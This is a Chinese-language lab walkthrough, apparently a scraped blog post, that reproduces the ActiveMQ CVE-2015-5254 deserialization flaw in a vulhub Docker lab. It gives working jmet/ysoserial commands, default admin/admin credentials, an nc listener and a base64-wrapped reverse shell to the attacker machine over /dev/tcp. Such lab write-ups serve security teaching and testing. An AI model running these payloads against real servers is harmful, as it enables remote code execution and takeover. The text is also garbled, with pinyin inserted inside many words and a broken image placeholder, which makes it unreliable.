ActiveMQ反序列化漏洞
ActiveMQ
ActiveMQ是開源消息總線,消息中間件
工作原理
通過(guò)使用消息隊(duì)列,實(shí)現(xiàn)服務(wù)的異步處理,主要目的是減少請(qǐng)求響應(yīng)時(shí)間和解耦合。
消息隊(duì)列,服務(wù)器A將客戶發(fā)起的請(qǐng)求放入服務(wù)器B的消息隊(duì)列中,服務(wù)器B從消息隊(duì)列中取出并處理。
從以上內(nèi)容中可以看出,消息中間件的主要功能就是為了解耦合、消峰和異步,即解決高并發(fā)問(wèn)題和系統(tǒng)間的RPC交互繁雜問(wèn)題。
漏洞原理
此漏洞源于程序沒(méi)有限制可在代理中序列化的類。遠(yuǎn)程攻擊這可借助特制的序列化的Java Message Service(JMS)ObjectMessage對(duì)象利用該漏洞執(zhí)行任意代碼。
解釋說(shuō)明
ActiveMQ通過(guò)消息隊(duì)列來(lái)實(shí)現(xiàn)信息傳遞,每個(gè)消息要保證發(fā)出端和接收端格式相同,其中使用了序列化的方法進(jìn)行傳遞,在這個(gè)過(guò)程中沒(méi)有限制可在代理中序列化的類,這時(shí)候我們就可以自己構(gòu)造一份序列化的惡意代碼payload,將其作為事件發(fā)到ActiveMQ服務(wù)上,在管理員在后臺(tái)管理時(shí)觸發(fā)了payload,或者攻擊者使用弱口令拿到ActiveMQ的賬戶,并執(zhí)行了payload,則可以成功利用該漏洞
使用限制
- ActiveMQ的版本<=5.13.0
- payload需要主動(dòng)觸發(fā)
漏洞復(fù)現(xiàn)
實(shí)驗(yàn)配置
靶機(jī)地址:192.168.27.128:
攻擊機(jī):192.168.27.129
創(chuàng)建容器
ps:如果沒(méi)有安裝好docker請(qǐng)看上篇文章
cd vulhub
cd /activemq/CVE-2015-5254
docker-compose up -d
環(huán)境運(yùn)行后,將監(jiān)聽61616和8161兩個(gè)端口。其中61616是工作端口,消息在這個(gè)端口進(jìn)行傳遞;8161是Web管理頁(yè)面端口。
測(cè)試靶機(jī)
用攻擊機(jī)訪問(wèn)靶機(jī)ip:8161,查看是否開啟成功
看到如下頁(yè)面,則說(shuō)明安裝成功
漏洞利用
- ysoserial是java反序列化利用的工具之一,其中集合了各種java反序列化的payload
- jmet集成了ysoserial,所以我們只需要安裝jmet即可
- 將序列化對(duì)象作為一個(gè)消息,發(fā)送給目標(biāo)61616工作端口
- 訪問(wèn)web管理頁(yè)面,讀取消息,觸發(fā)漏洞
安裝jmet
cd /opt
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
mkdir external
直接輸入到終端即可
構(gòu)造測(cè)試payload
java -jar jmet-0.1.0-all.jar -Q chenevent -I ActiveMQ -s -Y “touch /tmp/chen.txt” -Yp ROME 192.168.27.128 61616
使用ROME payload 把touch /tmp/chen.txt 命令序列化后作為名為chenevent的消息發(fā)給ActiveMQ
-Q 指定消息名
-I 選擇要裝載的JMS客戶端
-s 選擇ysoserial paylad
-Y 指定命令
-Yp 指定payload
最后是ip與端口
打開web頁(yè)面
賬號(hào)密碼都是admin
如圖操作
用靶機(jī)連接到docker容器,查看tmp目錄下是否存在chen.txt
docker exec -it 容器id /bin/bash
docker ps 看容器id
看到chen.txt說(shuō)明測(cè)試成功啦
終極目標(biāo)!拿到shell
來(lái)個(gè)制作反彈shell的網(wǎng)站
https://www.revshells.com/
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-yLBGey4w-1678327567182)(C:\Users\34232\AppData\Roaming\Typora\typora-user-images\image-20230309093515332.png)]
sh -i >& /dev/tcp/192.168.27.129/8023 0>&1
反彈shell一般都需要加密,咱就base64一下
base64加密網(wǎng)站:http://www.jsons.cn/base64/
c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yNy4xMjkvODAyMyAwPiYx
構(gòu)建payload
和上面測(cè)試payload一樣,將命令替換即可
java -jar jmet-0.1.0-all.jar -Q chenevent -I ActiveMQ -s -Y “bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yNy4xMjkvODAyMyAwPiYx}|{base64,-d}|{bash,-i}” -Yp ROME 192.168.27.128 61616
攻擊機(jī)先開啟端口監(jiān)聽,監(jiān)聽8023端口
nc -lvnp 8023
然后開新終端輸入payload,靶機(jī)模擬管理員點(diǎn)擊事件
文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-744662.html
成功拿到shell!文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-744662.html
到了這里,關(guān)于ActiveMQ反序列化漏洞原理+復(fù)現(xiàn)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!